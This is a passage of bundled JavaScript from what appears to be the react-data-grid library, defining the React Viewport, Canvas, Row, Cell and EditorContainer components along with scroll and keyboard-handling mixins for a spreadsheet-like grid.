rowGetter: PropTypes.oneOfType([PropTypes.array, PropTypes.func]).isRequired,
selectedRows: PropTypes.array,
expandedRows: PropTypes.array,
rowRenderer: PropTypes.func,
rowsCount: PropTypes.number.isRequired,
rowHeight: PropTypes.number.isRequired,
onRows: PropTypes.func,
onScroll: PropTypes.func,
minHeight: PropTypes.number,
cellMetaData: PropTypes.shape(cellMetaDataShape)
},
onScroll: function onScroll(scroll) {
this.updateScroll(scroll.scrollTop, scroll.scrollLeft, this.state.height, this.props.rowHeight, this.props.rowsCount);
if (this.props.onScroll) {
this.props.onScroll({ scrollTop: scroll.scrollTop, scrollLeft: scroll.scrollLeft });
}
},
getScroll: function getScroll() {
return this.refs.canvas.getScroll();
},
setScrollLeft: function setScrollLeft(scrollLeft) {
this.refs.canvas.setScrollLeft(scrollLeft);
},
render: function render() {
var style = {
padding: 0,
bottom: 0,
left: 0,
right: 0,
overflow: 'hidden',
position: 'absolute',
top: this.props.rowOffsetHeight
};
return React.createElement(
'div',
{
className: 'react-grid-Viewport',
style: style },
React.createElement(Canvas, {
ref: 'canvas',
totalWidth: this.props.totalWidth,
width: this.props.columnMetrics.width,
rowGetter: this.props.rowGetter,
rowsCount: this.props.rowsCount,
selectedRows: this.props.selectedRows,
expandedRows: this.props.expandedRows,
columns: this.props.columnMetrics.columns,
rowRenderer: this.props.rowRenderer,
visibleStart: this.state.visibleStart,
visibleEnd: this.state.visibleEnd,
displayStart: this.state.displayStart,
displayEnd: this.state.displayEnd,
cellMetaData: this.props.cellMetaData,
height: this.state.height,
rowHeight: this.props.rowHeight,
onScroll: this.onScroll,
onRows: this.props.onRows
})
);
}
});
module.exports = Viewport;
/***/ },
/* 20 */
/***/ function(module, exports, __webpack_require__) {
'use strict';
var React = __webpack_require__(2);
var ReactDOM = __webpack_require__(14);
var joinClasses = __webpack_require__(5);
var PropTypes = React.PropTypes;
var shallowEqual = __webpack_require__(12);
var ScrollShim = __webpack_require__(21);
var Row = __webpack_require__(22);
var cellMetaDataShape = __webpack_require__(29);
var Canvas = React.createClass({
displayName: 'Canvas',
mixins: [ScrollShim],
propTypes: {
rowRenderer: PropTypes.oneOfType([PropTypes.func, PropTypes.element]),
rowHeight: PropTypes.number.isRequired,
height: PropTypes.number.isRequired,
width: PropTypes.number,
totalWidth: PropTypes.number,
style: PropTypes.string,
className: PropTypes.string,
displayStart: PropTypes.number.isRequired,
displayEnd: PropTypes.number.isRequired,
rowsCount: PropTypes.number.isRequired,
rowGetter: PropTypes.oneOfType([PropTypes.func.isRequired, PropTypes.array.isRequired]),
expandedRows: PropTypes.array,
onRows: PropTypes.func,
onScroll: PropTypes.func,
columns: PropTypes.oneOfType([PropTypes.object, PropTypes.array]).isRequired,
cellMetaData: PropTypes.shape(cellMetaDataShape).isRequired,
selectedRows: PropTypes.array
},
getDefaultProps: function getDefaultProps() {
return {
rowRenderer: Row,
onRows: function onRows() {}
};
},
getInitialState: function getInitialState() {
return {
shouldUpdate: true,
displayStart: this.props.displayStart,
displayEnd: this.props.displayEnd,
scrollbarWidth: 0
};
},
componentWillMount: function componentWillMount() {
this._currentRowsLength = 0;
this._currentRowsRange = { start: 0, end: 0 };
this._scroll = { scrollTop: 0, scrollLeft: 0 };
},
componentDidMount: function componentDidMount() {
this.onRows();
},
componentWillReceiveProps: function componentWillReceiveProps(nextProps) {
var scrollbarWidth = this.getScrollbarWidth();
var shouldUpdate = !(nextProps.visibleStart > this.state.displayStart && nextProps.visibleEnd < this.state.displayEnd) || nextProps.rowsCount !== this.props.rowsCount || nextProps.rowHeight !== this.props.rowHeight || nextProps.columns !== this.props.columns || nextProps.width !== this.props.width || nextProps.cellMetaData !== this.props.cellMetaData || !shallowEqual(nextProps.style, this.props.style);
if (shouldUpdate) {
this.setState({
shouldUpdate: true,
displayStart: nextProps.displayStart,
displayEnd: nextProps.displayEnd,
scrollbarWidth: scrollbarWidth
});
} else {
this.setState({ shouldUpdate: false, scrollbarWidth: scrollbarWidth });
}
},
shouldComponentUpdate: function shouldComponentUpdate(nextProps, nextState) {
return !nextState || nextState.shouldUpdate;
},
componentWillUnmount: function componentWillUnmount() {
this._currentRowsLength = 0;
this._currentRowsRange = { start: 0, end: 0 };
this._scroll = { scrollTop: 0, scrollLeft: 0 };
},
componentDidUpdate: function componentDidUpdate() {
if (this._scroll.scrollTop !== 0 && this._scroll.scrollLeft !== 0) {
this.setScrollLeft(this._scroll.scrollLeft);
}
this.onRows();
},
onRows: function onRows() {
if (this._currentRowsRange !== { start: 0, end: 0 }) {
this.props.onRows(this._currentRowsRange);
this._currentRowsRange = { start: 0, end: 0 };
}
},
onScroll: function onScroll(e) {
this.appendScrollShim();
var _e$target = e.target;
var scrollTop = _e$target.scrollTop;
var scrollLeft = _e$target.scrollLeft;
var scroll = { scrollTop: scrollTop, scrollLeft: scrollLeft };
this._scroll = scroll;
this.props.onScroll(scroll);
},
getRows: function getRows(displayStart, displayEnd) {
this._currentRowsRange = { start: displayStart, end: displayEnd };
if (Array.isArray(this.props.rowGetter)) {
return this.props.rowGetter.slice(displayStart, displayEnd);
}
var rows = [];
for (var i = displayStart; i < displayEnd; i++) {
rows.push(this.props.rowGetter(i));
}
return rows;
},
getScrollbarWidth: function getScrollbarWidth() {
var scrollbarWidth = 0;
// Get the scrollbar width
var canvas = ReactDOM.findDOMNode(this);
scrollbarWidth = canvas.offsetWidth - canvas.clientWidth;
return scrollbarWidth;
},
getScroll: function getScroll() {
var _ReactDOM$findDOMNode = ReactDOM.findDOMNode(this);
var scrollTop = _ReactDOM$findDOMNode.scrollTop;
var scrollLeft = _ReactDOM$findDOMNode.scrollLeft;
return { scrollTop: scrollTop, scrollLeft: scrollLeft };
},
isRowSelected: function isRowSelected(rowIdx) {
return this.props.selectedRows && this.props.selectedRows[rowIdx] === true;
},
_currentRowsLength: 0,
_currentRowsRange: { start: 0, end: 0 },
_scroll: { scrollTop: 0, scrollLeft: 0 },
setScrollLeft: function setScrollLeft(scrollLeft) {
if (this._currentRowsLength !== 0) {
if (!this.refs) return;
for (var i = 0, len = this._currentRowsLength; i < len; i++) {
if (this.refs[i] && this.refs[i].setScrollLeft) {
this.refs[i].setScrollLeft(scrollLeft);
}
}
}
},
renderRow: function renderRow(props) {
var RowsRenderer = this.props.rowRenderer;
if (typeof RowsRenderer === 'function') {
return React.createElement(RowsRenderer, props);
}
if (React.isValidElement(this.props.rowRenderer)) {
return React.cloneElement(this.props.rowRenderer, props);
}
},
renderPlaceholder: function renderPlaceholder(key, height) {
return React.createElement(
'div',
{ key: key, style: { height: height } },
this.props.columns.map(function (column, idx) {
return React.createElement('div', { style: { width: column.width }, key: idx });
})
);
},
render: function render() {
var _this = this;
var displayStart = this.state.displayStart;
var displayEnd = this.state.displayEnd;
var rowHeight = this.props.rowHeight;
var length = this.props.rowsCount;
var rows = this.getRows(displayStart, displayEnd).map(function (row, idx) {
return _this.renderRow({
key: displayStart + idx,
ref: idx,
idx: displayStart + idx,
row: row,
height: rowHeight,
columns: _this.props.columns,
isSelected: _this.isRowSelected(displayStart + idx),
expandedRows: _this.props.expandedRows,
cellMetaData: _this.props.cellMetaData
});
});
this._currentRowsLength = rows.length;
if (displayStart > 0) {
rows.unshift(this.renderPlaceholder('top', displayStart * rowHeight));
}
if (length - displayEnd > 0) {
rows.push(this.renderPlaceholder('bottom', (length - displayEnd) * rowHeight));
}
var style = {
position: 'absolute',
top: 0,
left: 0,
overflowX: 'auto',
overflowY: 'scroll',
width: this.props.totalWidth + this.state.scrollbarWidth,
height: this.props.height,
transform: 'translate3d(0, 0, 0)'
};
return React.createElement(
'div',
{
style: style,
onScroll: this.onScroll,
className: joinClasses('react-grid-Canvas', this.props.className, { opaque: this.props.cellMetaData.selected && this.props.cellMetaData.selected.active }) },
React.createElement(
'div',
{ style: { width: this.props.width, overflow: 'hidden' } },
rows
)
);
}
});
module.exports = Canvas;
/***/ },
/* 21 */
/***/ function(module, exports, __webpack_require__) {
'use strict';
var _reactDom = __webpack_require__(14);
var _reactDom2 = _interopRequireDefault(_reactDom);
function _interopRequireDefault(obj) { return obj && obj.__esModule ? obj : { default: obj }; }
var ScrollShim = {
appendScrollShim: function appendScrollShim() {
if (!this._scrollShim) {
var size = this._scrollShimSize();
var shim = document.createElement('div');
if (shim.classList) {
shim.classList.add('react-grid-ScrollShim'); // flow - not compatible with HTMLElement
} else {
shim.className += ' react-grid-ScrollShim';
}
shim.style.position = 'absolute';
shim.style.top = 0;
shim.style.left = 0;
shim.style.width = size.width + 'px';
shim.style.height = size.height + 'px';
_reactDom2.default.findDOMNode(this).appendChild(shim);
this._scrollShim = shim;
}
this._scheduleRemoveScrollShim();
},
_scrollShimSize: function _scrollShimSize() {
return {
width: this.props.width,
height: this.props.length * this.props.rowHeight
};
},
_scheduleRemoveScrollShim: function _scheduleRemoveScrollShim() {
if (this._scheduleRemoveScrollShimTimer) {
clearTimeout(this._scheduleRemoveScrollShimTimer);
}
this._scheduleRemoveScrollShimTimer = setTimeout(this._removeScrollShim, 200);
},
_removeScrollShim: function _removeScrollShim() {
if (this._scrollShim) {
this._scrollShim.parentNode.removeChild(this._scrollShim);
this._scrollShim = undefined;
}
}
};
module.exports = ScrollShim;
/***/ },
/* 22 */
/***/ function(module, exports, __webpack_require__) {
'use strict';
var _extends = Object.assign || function (target) { for (var i = 1; i < arguments.length; i++) { var source = arguments[i]; for (var key in source) { if (Object.prototype.hasOwnProperty.call(source, key)) { target[key] = source[key]; } } } return target; };
var React = __webpack_require__(2);
var joinClasses = __webpack_require__(5);
var Cell = __webpack_require__(23);
var ColumnMetrics = __webpack_require__(7);
var ColumnUtilsMixin = __webpack_require__(9);
var cellMetaDataShape = __webpack_require__(29);
var PropTypes = React.PropTypes;
var Row = React.createClass({
displayName: 'Row',
propTypes: {
height: PropTypes.number.isRequired,
columns: PropTypes.oneOfType([PropTypes.object, PropTypes.array]).isRequired,
row: PropTypes.any.isRequired,
cellRenderer: PropTypes.func,
cellMetaData: PropTypes.shape(cellMetaDataShape),
isSelected: PropTypes.bool,
idx: PropTypes.number.isRequired,
key: PropTypes.string,
expandedRows: PropTypes.arrayOf(PropTypes.object)
},
mixins: [ColumnUtilsMixin],
getDefaultProps: function getDefaultProps() {
return {
cellRenderer: Cell,
isSelected: false,
height: 35
};
},
shouldComponentUpdate: function shouldComponentUpdate(nextProps) {
return !ColumnMetrics.sameColumns(this.props.columns, nextProps.columns, ColumnMetrics.sameColumn) || this.doesRowContainSelectedCell(this.props) || this.doesRowContainSelectedCell(nextProps) || this.willRowBeDraggedOver(nextProps) || nextProps.row !== this.props.row || this.hasRowBeenCopied() || this.props.isSelected !== nextProps.isSelected || nextProps.height !== this.props.height;
},
handleDragEnter: function handleDragEnter() {
var handleDragEnterRow = this.props.cellMetaData.handleDragEnterRow;
if (handleDragEnterRow) {
handleDragEnterRow(this.props.idx);
}
},
getSelectedColumn: function getSelectedColumn() {
var selected = this.props.cellMetaData.selected;
if (selected && selected.idx) {
return this.getColumn(this.props.columns, selected.idx);
}
},
getCells: function getCells() {
var _this = this;
var cells = [];
var lockedCells = [];
var selectedColumn = this.getSelectedColumn();
this.props.columns.forEach(function (column, i) {
var CellRenderer = _this.props.cellRenderer;
var cell = React.createElement(CellRenderer, {
ref: i,
key: column.key + '-' + i,
idx: i,
rowIdx: _this.props.idx,
value: _this.getCellValue(column.key || i),
column: column,
height: _this.getRowHeight(),
formatter: column.formatter,
cellMetaData: _this.props.cellMetaData,
rowData: _this.props.row,
selectedColumn: selectedColumn,
isRowSelected: _this.props.isSelected });
if (column.locked) {
lockedCells.push(cell);
} else {
cells.push(cell);
}
});
return cells.concat(lockedCells);
},
getRowHeight: function getRowHeight() {
var rows = this.props.expandedRows || null;
if (rows && this.props.key) {
var row = rows[this.props.key] || null;
if (row) {
return row.height;
}
}
return this.props.height;
},
getCellValue: function getCellValue(key) {
var val = undefined;
if (key === 'select-row') {
return this.props.isSelected;
} else if (typeof this.props.row.get === 'function') {
val = this.props.row.get(key);
} else {
val = this.props.row[key];
}
return val;
},
setScrollLeft: function setScrollLeft(scrollLeft) {
var _this2 = this;
this.props.columns.forEach(function (column, i) {
if (column.locked) {
if (!_this2.refs[i]) return;
_this2.refs[i].setScrollLeft(scrollLeft);
}
});
},
doesRowContainSelectedCell: function doesRowContainSelectedCell(props) {
var selected = props.cellMetaData.selected;
if (selected && selected.rowIdx === props.idx) {
return true;
}
return false;
},
willRowBeDraggedOver: function willRowBeDraggedOver(props) {
var dragged = props.cellMetaData.dragged;
return dragged != null && (dragged.rowIdx >= 0 || dragged.complete === true);
},
hasRowBeenCopied: function hasRowBeenCopied() {
var copied = this.props.cellMetaData.copied;
return copied != null && copied.rowIdx === this.props.idx;
},
renderCell: function renderCell(props) {
if (typeof this.props.cellRenderer === 'function') {
this.props.cellRenderer.call(this, props);
}
if (React.isValidElement(this.props.cellRenderer)) {
return React.cloneElement(this.props.cellRenderer, props);
}
return this.props.cellRenderer(props);
},
render: function render() {
var className = joinClasses('react-grid-Row', 'react-grid-Row--' + (this.props.idx % 2 === 0 ? 'even' : 'odd'));
var style = {
height: this.getRowHeight(this.props),
overflow: 'hidden'
};
var cells = this.getCells();
return React.createElement(
'div',
_extends({}, this.props, { className: className, style: style, onDragEnter: this.handleDragEnter }),
React.isValidElement(this.props.row) ? this.props.row : cells
);
}
});
module.exports = Row;
/***/ },
/* 23 */
/***/ function(module, exports, __webpack_require__) {
'use strict';
var _extends = Object.assign || function (target) { for (var i = 1; i < arguments.length; i++) { var source = arguments[i]; for (var key in source) { if (Object.prototype.hasOwnProperty.call(source, key)) { target[key] = source[key]; } } } return target; };
var React = __webpack_require__(2);
var ReactDOM = __webpack_require__(14);
var joinClasses = __webpack_require__(5);
var EditorContainer = __webpack_require__(24);
var ExcelColumn = __webpack_require__(15);
var isFunction = __webpack_require__(28);
var CellMetaDataShape = __webpack_require__(29);
var SimpleCellFormatter = __webpack_require__(30);
var Cell = React.createClass({
displayName: 'Cell',
propTypes: {
rowIdx: React.PropTypes.number.isRequired,
idx: React.PropTypes.number.isRequired,
selected: React.PropTypes.shape({
idx: React.PropTypes.number.isRequired
}),
selectedColumn: React.PropTypes.object,
height: React.PropTypes.number,
tabIndex: React.PropTypes.number,
ref: React.PropTypes.string,
column: React.PropTypes.shape(ExcelColumn).isRequired,
value: React.PropTypes.oneOfType([React.PropTypes.string, React.PropTypes.number, React.PropTypes.object, React.PropTypes.bool]).isRequired,
isExpanded: React.PropTypes.bool,
isRowSelected: React.PropTypes.bool,
cellMetaData: React.PropTypes.shape(CellMetaDataShape).isRequired,
handleDragStart: React.PropTypes.func,
className: React.PropTypes.string,
cellControls: React.PropTypes.any,
rowData: React.PropTypes.object.isRequired
},
getDefaultProps: function getDefaultProps() {
return {
tabIndex: -1,
ref: 'cell',
isExpanded: false
};
},
getInitialState: function getInitialState() {
return { isRowChanging: false, isCellValueChanging: false };
},
componentDidMount: function componentDidMount() {
this.checkFocus();
},
componentWillReceiveProps: function componentWillReceiveProps(nextProps) {
this.setState({ isRowChanging: this.props.rowData !== nextProps.rowData, isCellValueChanging: this.props.value !== nextProps.value });
},
componentDidUpdate: function componentDidUpdate() {
this.checkFocus();
var dragged = this.props.cellMetaData.dragged;
if (dragged && dragged.complete === true) {
this.props.cellMetaData.handleTerminateDrag();
}
if (this.state.isRowChanging && this.props.selectedColumn != null) {
this.applyUpdateClass();
}
},
shouldComponentUpdate: function shouldComponentUpdate(nextProps) {
return this.props.column.width !== nextProps.column.width || this.props.column.left !== nextProps.column.left || this.props.rowData !== nextProps.rowData || this.props.height !== nextProps.height || this.props.rowIdx !== nextProps.rowIdx || this.isCellSelectionChanging(nextProps) || this.isDraggedCellChanging(nextProps) || this.isCopyCellChanging(nextProps) || this.props.isRowSelected !== nextProps.isRowSelected || this.isSelected();
},
onCellClick: function onCellClick() {
var meta = this.props.cellMetaData;
if (meta != null && meta.onCellClick != null) {
meta.onCellClick({ rowIdx: this.props.rowIdx, idx: this.props.idx });
}
},
onCellDoubleClick: function onCellDoubleClick() {
var meta = this.props.cellMetaData;
if (meta != null && meta.onCellDoubleClick != null) {
meta.onCellDoubleClick({ rowIdx: this.props.rowIdx, idx: this.props.idx });
}
},
getStyle: function getStyle() {
var style = {
position: 'absolute',
width: this.props.column.width,
height: this.props.height,
left: this.props.column.left
};
return style;
},
getFormatter: function getFormatter() {
var col = this.props.column;
if (this.isActive()) {
return React.createElement(EditorContainer, { rowData: this.getRowData(), rowIdx: this.props.rowIdx, idx: this.props.idx, cellMetaData: this.props.cellMetaData, column: col, height: this.props.height });
}
return this.props.column.formatter;
},
getRowData: function getRowData() {
return this.props.rowData.toJSON ? this.props.rowData.toJSON() : this.props.rowData;
},
getFormatterDependencies: function getFormatterDependencies() {
// convention based method to get corresponding Id or Name of any Name or Id property
if (typeof this.props.column.getRowMetaData === 'function') {
return this.props.column.getRowMetaData(this.getRowData(), this.props.column);
}
},
getCellClass: function getCellClass() {
var className = joinClasses(this.props.column.cellClass, 'react-grid-Cell', this.props.className, this.props.column.locked ? 'react-grid-Cell--locked' : null);
var extraClasses = joinClasses({
selected: this.isSelected() && !this.isActive(),
editing: this.isActive(),
copied: this.isCopied(),
'active-drag-cell': this.isSelected() || this.isDraggedOver(),
'is-dragged-over-up': this.isDraggedOverUpwards(),
'is-dragged-over-down': this.isDraggedOverDownwards(),
'was-dragged-over': this.wasDraggedOver()
});
return joinClasses(className, extraClasses);
},
getUpdateCellClass: function getUpdateCellClass() {
return this.props.column.getUpdateCellClass ? this.props.column.getUpdateCellClass(this.props.selectedColumn, this.props.column, this.state.isCellValueChanging) : '';
},
isColumnSelected: function isColumnSelected() {
var meta = this.props.cellMetaData;
if (meta == null || meta.selected == null) {
return false;
}
return meta.selected && meta.selected.idx === this.props.idx;
},
isSelected: function isSelected() {
var meta = this.props.cellMetaData;
if (meta == null || meta.selected == null) {
return false;
}
return meta.selected && meta.selected.rowIdx === this.props.rowIdx && meta.selected.idx === this.props.idx;
},
isActive: function isActive() {
var meta = this.props.cellMetaData;
if (meta == null || meta.selected == null) {
return false;
}
return this.isSelected() && meta.selected.active === true;
},
isCellSelectionChanging: function isCellSelectionChanging(nextProps) {
var meta = this.props.cellMetaData;
if (meta == null || meta.selected == null) {
return false;
}
var nextSelected = nextProps.cellMetaData.selected;
if (meta.selected && nextSelected) {
return this.props.idx === nextSelected.idx || this.props.idx === meta.selected.idx;
}
return true;
},
applyUpdateClass: function applyUpdateClass() {
var updateCellClass = this.getUpdateCellClass();
// -> removing the class
if (updateCellClass != null && updateCellClass !== '') {
var cellDOMNode = ReactDOM.findDOMNode(this);
if (cellDOMNode.classList) {
cellDOMNode.classList.remove(updateCellClass);
// -> and re-adding the class
cellDOMNode.classList.add(updateCellClass);
} else if (cellDOMNode.className.indexOf(updateCellClass) === -1) {
// IE9 doesn't support classList, nor (I think) altering element.className
// without replacing it wholesale.
cellDOMNode.className = cellDOMNode.className + ' ' + updateCellClass;
}
}
},
setScrollLeft: function setScrollLeft(scrollLeft) {
var ctrl = this; // flow on windows has an outdated react declaration, once that gets updated, we can remove this
if (ctrl.isMounted()) {
var node = ReactDOM.findDOMNode(this);
var transform = 'translate3d(' + scrollLeft + 'px, 0px, 0px)';
node.style.webkitTransform = transform;
node.style.transform = transform;
}
},
isCopied: function isCopied() {
var copied = this.props.cellMetaData.copied;
return copied && copied.rowIdx === this.props.rowIdx && copied.idx === this.props.idx;
},
isDraggedOver: function isDraggedOver() {
var dragged = this.props.cellMetaData.dragged;
return dragged && dragged.overRowIdx === this.props.rowIdx && dragged.idx === this.props.idx;
},
wasDraggedOver: function wasDraggedOver() {
var dragged = this.props.cellMetaData.dragged;
return dragged && (dragged.overRowIdx < this.props.rowIdx && this.props.rowIdx < dragged.rowIdx || dragged.overRowIdx > this.props.rowIdx && this.props.rowIdx > dragged.rowIdx) && dragged.idx === this.props.idx;
},
isDraggedCellChanging: function isDraggedCellChanging(nextProps) {
var isChanging = undefined;
var dragged = this.props.cellMetaData.dragged;
var nextDragged = nextProps.cellMetaData.dragged;
if (dragged) {
isChanging = nextDragged && this.props.idx === nextDragged.idx || dragged && this.props.idx === dragged.idx;
return isChanging;
}
return false;
},
isCopyCellChanging: function isCopyCellChanging(nextProps) {
var isChanging = undefined;
var copied = this.props.cellMetaData.copied;
var nextCopied = nextProps.cellMetaData.copied;
if (copied) {
isChanging = nextCopied && this.props.idx === nextCopied.idx || copied && this.props.idx === copied.idx;
return isChanging;
}
return false;
},
isDraggedOverUpwards: function isDraggedOverUpwards() {
var dragged = this.props.cellMetaData.dragged;
return !this.isSelected() && this.isDraggedOver() && this.props.rowIdx < dragged.rowIdx;
},
isDraggedOverDownwards: function isDraggedOverDownwards() {
var dragged = this.props.cellMetaData.dragged;
return !this.isSelected() && this.isDraggedOver() && this.props.rowIdx > dragged.rowIdx;
},
checkFocus: function checkFocus() {
if (this.isSelected() && !this.isActive()) {
ReactDOM.findDOMNode(this).focus();
}
},
renderCellContent: function renderCellContent(props) {
var CellContent = undefined;
var Formatter = this.getFormatter();
if (React.isValidElement(Formatter)) {
props.dependentValues = this.getFormatterDependencies();
CellContent = React.cloneElement(Formatter, props);
} else if (isFunction(Formatter)) {
CellContent = React.createElement(Formatter, { value: this.props.value, dependentValues: this.getFormatterDependencies() });
} else {
CellContent = React.createElement(SimpleCellFormatter, { value: this.props.value });
}
return React.createElement(
'div',
{ ref: 'cell',
className: 'react-grid-Cell__value' },
CellContent,
' ',
this.props.cellControls
);
},
render: function render() {
var style = this.getStyle();
var className = this.getCellClass();
var cellContent = this.renderCellContent({
value: this.props.value,
column: this.props.column,
rowIdx: this.props.rowIdx,
isExpanded: this.props.isExpanded
});
return React.createElement(
'div',
_extends({}, this.props, { className: className, style: style, onClick: this.onCellClick, onDoubleClick: this.onCellDoubleClick }),
cellContent,
React.createElement('div', { className: 'drag-handle', draggable: 'true' })
);
}
});
module.exports = Cell;
/***/ },
/* 24 */
/***/ function(module, exports, __webpack_require__) {
'use strict';
var React = __webpack_require__(2);
var joinClasses = __webpack_require__(5);
var keyboardHandlerMixin = __webpack_require__(25);
var SimpleTextEditor = __webpack_require__(26);
var isFunction = __webpack_require__(28);
var EditorContainer = React.createClass({
displayName: 'EditorContainer',
mixins: [keyboardHandlerMixin],
propTypes: {
rowIdx: React.PropTypes.number,
rowData: React.PropTypes.object.isRequired,
value: React.PropTypes.oneOfType([React.PropTypes.string, React.PropTypes.number, React.PropTypes.object, React.PropTypes.bool]).isRequired,
cellMetaData: React.PropTypes.shape({
selected: React.PropTypes.object.isRequired,
copied: React.PropTypes.object,
dragged: React.PropTypes.object,
onCellClick: React.PropTypes.func,
onCellDoubleClick: React.PropTypes.func,
onCommitCancel: React.PropTypes.func,
onCommit: React.PropTypes.func
}).isRequired,
column: React.PropTypes.object.isRequired,
height: React.PropTypes.number.isRequired
},
changeCommitted: false,
getInitialState: function getInitialState() {
return { isInvalid: false };
},
componentDidMount: function componentDidMount() {
var inputNode = this.getInputNode();
if (inputNode !== undefined) {
this.setTextInputFocus();
if (!this.getEditor().disableContainerStyles) {
inputNode.className += ' editor-main';
inputNode.style.height = this.props.height - 1 + 'px';
}
}
},
componentWillUnmount: function componentWillUnmount() {
if (!this.changeCommitted && !this.hasEscapeBeenPressed()) {
this.commit({ key: 'Enter' });
}
},
createEditor: function createEditor() {
var _this = this;
var editorRef = function editorRef(c) {
return _this.editor = c;
};
var editorProps = {
ref: editorRef,
column: this.props.column,
value: this.getInitialValue(),
onCommit: this.commit,
rowMetaData: this.getRowMetaData(),
height: this.props.height,
onBlur: this.commit,
onOverrideKeyDown: this.onKeyDown
};
var customEditor = this.props.column.editor;
if (customEditor && React.isValidElement(customEditor)) {
// return custom column editor or SimpleEditor if none specified
return React.cloneElement(customEditor, editorProps);
}
return React.createElement(SimpleTextEditor, { ref: editorRef, column: this.props.column, value: this.getInitialValue(), onBlur: this.commit, rowMetaData: this.getRowMetaData(), onKeyDown: function onKeyDown() {}, commit: function commit() {} });
},
onPressEnter: function onPressEnter() {
this.commit({ key: 'Enter' });
},
onPressTab: function onPressTab() {
this.commit({ key: 'Tab' });
},
onPressEscape: function onPressEscape(e) {
if (!this.editorIsSelectOpen()) {
this.props.cellMetaData.onCommitCancel();
} else {
// prevent event from bubbling if editor has results to select
e.stopPropagation();
}
},
onPressArrowDown: function onPressArrowDown(e) {
if (this.editorHasResults()) {
// dont want to propogate as that then moves us round the grid
e.stopPropagation();
} else {
this.commit(e);
}
},
onPressArrowUp: function onPressArrowUp(e) {
if (this.editorHasResults()) {
// dont want to propogate as that then moves us round the grid
e.stopPropagation();
} else {
this.commit(e);
}
},
onPressArrowLeft: function onPressArrowLeft(e) {
// prevent event propogation. this disables left cell navigation
if (!this.isCaretAtBeginningOfInput()) {
e.stopPropagation();
} else {
this.commit(e);
}
},
onPressArrowRight: function onPressArrowRight(e) {
// prevent event propogation. this disables right cell navigation
if (!this.isCaretAtEndOfInput()) {
e.stopPropagation();
} else {
this.commit(e);
}
},
editorHasResults: function editorHasResults() {
if (isFunction(this.getEditor().hasResults)) {
return this.getEditor().hasResults();
}
return false;
},
editorIsSelectOpen: function editorIsSelectOpen() {
if (isFunction(this.getEditor().isSelectOpen)) {
return this.getEditor().isSelectOpen();
}
return false;
},
getRowMetaData: function getRowMetaData() {
// clone row data so editor cannot actually change this
// convention based method to get corresponding Id or Name of any Name or Id property
if (typeof this.props.column.getRowMetaData === 'function') {
return this.props.column.getRowMetaData(this.props.rowData, this.props.column);
}
},
getEditor: function getEditor() {
return this.editor;
},
getInputNode: function getInputNode() {
return this.getEditor().getInputNode();
},
getInitialValue: function getInitialValue() {
var selected = this.props.cellMetaData.selected;
var keyCode = selected.initialKeyCode;
if (keyCode === 'Delete' || keyCode === 'Backspace') {
return '';
} else if (keyCode === 'Enter') {
return this.props.value;
}
var text = keyCode ? String.fromCharCode(keyCode) : this.props.value;
return text;
},
getContainerClass: function getContainerClass() {
return joinClasses({
'has-error': this.state.isInvalid === true
});
},
commit: function commit(args) {
var opts = args || {};
var updated = this.getEditor().getValue();
if (this.isNewValueValid(updated)) {
var cellKey = this.props.column.key;
this.props.cellMetaData.onCommit({ cellKey: cellKey, rowIdx: this.props.rowIdx, updated: updated, key: opts.key });
}
this.changeCommitted = true;
},
isNewValueValid: function isNewValueValid(value) {
if (isFunction(this.getEditor().validate)) {
var isValid = this.getEditor().validate(value);
this.setState({ isInvalid: !isValid });
return isValid;
}
return true;
},
setCaretAtEndOfInput: function setCaretAtEndOfInput() {
var input = this.getInputNode();
// taken from http://stackoverflow.com/questions/511088/use-javascript-to-place-cursor-at-end-of-text-in-text-input-element
var txtLength = input.value.length;
if (input.setSelectionRange) {
input.setSelectionRange(txtLength, txtLength);
} else if (input.createTextRange) {
var fieldRange = input.createTextRange();
fieldRange.moveStart('character', txtLength);
fieldRange.collapse();
fieldRange.select();
}
},
isCaretAtBeginningOfInput: function isCaretAtBeginningOfInput() {
var inputNode = this.getInputNode();
return inputNode.selectionStart === inputNode.selectionEnd && inputNode.selectionStart === 0;
},
isCaretAtEndOfInput: function isCaretAtEndOfInput() {
var inputNode = this.getInputNode();
return inputNode.selectionStart === inputNode.value.length;
},
setTextInputFocus: function setTextInputFocus() {
var selected = this.props.cellMetaData.selected;
var keyCode = selected.initialKeyCode;
var inputNode = this.getInputNode();
inputNode.focus();
if (inputNode.tagName === 'INPUT') {
if (!this.isKeyPrintable(keyCode)) {
inputNode.focus();
inputNode.select();
} else {
inputNode.select();
}
}
},
hasEscapeBeenPressed: function hasEscapeBeenPressed() {
var pressed = false;
var escapeKey = 27;
if (window.event) {
if (window.event.keyCode === escapeKey) {
pressed = true;
} else if (window.event.which === escapeKey) {
pressed = true;
}
}
return pressed;
},
renderStatusIcon: function renderStatusIcon() {
if (this.state.isInvalid === true) {
return React.createElement('span', { className: 'glyphicon glyphicon-remove form-control-feedback' });
}
},
render: function render() {
return React.createElement(
'div',
{ className: this.getContainerClass(), onKeyDown: this.onKeyDown, commit: this.commit },
this.createEditor(),
this.renderStatusIcon()
);
}
});
module.exports = EditorContainer;
/***/ },
/* 25 */
/***/ function(module, exports) {
'use strict';
var KeyboardHandlerMixin = {
onKeyDown: function onKeyDown(e) {
if (this.isCtrlKeyHeldDown(e)) {
this.checkAndCall('onPressKeyWithCtrl', e);
} else if (this.isKeyExplicitlyHandled(e.key)) {
// break up individual keyPress events to have their own specific callbacks
// this allows multiple mixins to listen to onKeyDown events and somewhat reduces methodName clashing
var callBack = 'onPress' + e.key;
this.checkAndCall(callBack, e);
} else if (this.isKeyPrintable(e.keyCode)) {
this.checkAndCall('onPressChar', e);
}
},
// taken from http://stackoverflow.com/questions/12467240/determine-if-javascript-e-keycode-is-a-printable-non-control-character
isKeyPrintable: function isKeyPrintable(keycode) {
var valid = keycode > 47 && keycode < 58 || // number keys
keycode === 32 || keycode === 13 || // spacebar & return key(s) (if you want to allow carriage returns)
keycode > 64 && keycode < 91 || // letter keys
keycode > 95 && keycode < 112 || // numpad keys
keycode > 185 && keycode < 193 || // ;=,-./` (in order)
keycode > 218 && keycode < 223; // [\]' (in order)
return valid;
},
isKeyExplicitlyHandled: function isKeyExplicitlyHandled(key) {
return typeof this['onPress' + key] === 'function';
},
isCtrlKeyHeldDown: function isCtrlKeyHeldDown(e) {
return e.ctrlKey === true && e.key !== 'Control';
},
checkAndCall: function checkAndCall(methodName, args) {
if (typeof this[methodName] === 'function') {
this[methodName](args);
}
}
};
module.exports = KeyboardHandlerMixin;
/***/ },
/* 26 */
/***/ function(module, exports, __webpack_require__) {
'use strict';
